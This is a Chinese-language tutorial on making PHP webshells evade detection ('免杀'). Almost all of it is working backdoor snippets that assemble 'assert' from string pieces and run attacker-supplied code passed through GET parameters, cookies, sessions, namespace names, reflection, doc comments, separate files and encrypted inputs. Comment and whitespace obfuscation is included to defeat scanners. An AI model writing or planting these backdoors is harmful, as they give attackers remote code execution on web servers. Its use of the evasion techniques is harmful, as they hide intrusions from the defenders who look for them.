一、加密函数与自写加密函数
1、openssl加密函数的应用
openssl_encrypt($data, $method, $key, $options = 0, $iv = "", &$tag = NULL, $aad = "", $tag_length = 16)
openssl_decrypt($data, $method, $password, $options = 1, $iv = "", $tag = "", $aad = "")
实际应用:
<?php
$key = "password";
$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
2、自写加密算法
与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,或者是一些其他的简单加密算法,意凯erer二
<?php
// 凯撒加密函数
function caesarEncrypt($message, $key) {
$encryptedMessage = "";
$message = strtoupper($message); // 将消息转换为大写字母
$length = strlen($message);
for ($i = 0; $i < $length; $i++) {
$char = $message[$i];
if (ctype_alpha($char)) {
$ascii = ord($char);
$shiftedAscii = ($ascii - 65 + $key) % 26 + 65; // 加密过程,注意循环使用字母表
$encryptedMessage .= chr($shiftedAscii);
} else {
$encryptedMessage .= $char; // 非字母字符直接保留
}
}
return $encryptedMessage;
}
// 凯撒解密函数
function caesarDecrypt($encryptedMessage, $key) {
return caesarEncrypt($encryptedMessage, 26 - $key); // 解密即加密的逆运算
}
// 示例
$message = "HELLO WORLD";
$key = 3;
// 加密
$encrypted = caesarEncrypt($message, $key);
echo "加密后: " . $encrypted . "<br>";
// 解密
$decrypted = caesarDecrypt($encrypted, $key);
echo "解密后: " . $decrypted . "<br>";
?>
二、传参方式以及特征绕过
1、cookie
在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置,可以给它传递一个参数
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(base64_decode($_COOKIE["PHPSESSID"]));
?>
2、session
间接传参的方式,比较难发现,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改
这里要写两段php分别作为传入以及传出:
<?php
session_start();
$_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);
?>
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['dmeo']);
?>
3、自定义头
4、伪协议
<?php
$q=$_GET[1];
file_get_contents("php".$q)($_GET[2]);
三、特征绕过
1.$_xxx[xxx]绕过
很容易通过find命令找出来,不支持使用,绕过必须
1.0 { }
<?php
echo $GET_{XXX};
?>
1.1foreach
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET') as $r){
foreach ($$r as $k =>$v){
$c($v);
}
}
1.2 自定义请求函数
2.$xxx($xxx)
2.1 " "特性
2.2 回调函数
<?php
function demo()
{
return $_GET["a"];
}
demo()($_GET["b"]);
2.3魔术常量
__FILE__:返回当前文件的绝对路径(包含文件名)。
__FUNCTION__:返回当前函数(或方法)的名称。
__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。
__NAMESPACE__:返回当前文件的命名空间的名称。
实战传入的参数可以进行加密处理,再把传参方式改为cookie
例如__NAMESPACE__的利用:
<?php
namespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);
2.4 分离免杀
将一个马拆分成两部分,及使用file_get_contents()将内容读取出来
<?php
file_get_contents("test.txt")($_GET[1]);
?>
2.5 注释符以及空白符的混淆
php允许在括号中添加注释符和空白符并不会影响代码正常运行
<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c(//);//(
$func//);//);
)
?>
2.6 反射调用
<?php
$class = new \ReflectionClass('Site\\Website'); // 以类名 Website 作为参数,即可创建 Website 类的反射类
$properties = $class->getProperties(); // 以数组的形式返回 Website 类的所有属性
$property = $class->getProperty('name'); // 获取 Website 类的 name 属性
$methods = $class->getMethods(); // 以数组的形式返回 Website 类的所有方法
$method = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
$constants = $class->getConstants(); // 以数组的形式获取所有常量
$constant = $class->getConstant('TITLE'); // 获取 TITLE 常量
$namespace = $class->getNamespaceName(); // 获取类的命名空间
$comment_class = $class->getDocComment(); // 获取 Website 类的注释文档,即定义在类之前的注释
$comment_method = $class->getMethod('getUrl')->getDocComment(); // 获取 Website 类中 getUrl 方法的注释文档
?>
使用 PHP 的反射(Reflection)功能来调用类属性的值作为函数:
<?php
class a{
public $assert2;
}
$class = new ReflectionClass(new a());
substr($class->getProperties()[0]->name,0,6)($_GET[1]);
通过注释免杀,这里是通过一系列字符串操作和函数调用来执行类 A
中的静态方法 B
,并获取结果
<?php
/**
*phpinfo*/
class A
{
public static function B()
{
return $_POST[1];
}
}
$re = new ReflectionClass(new A());
$a = str_ireplace(" ","",str_ireplace("\n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));
substr($a,1)(A::B());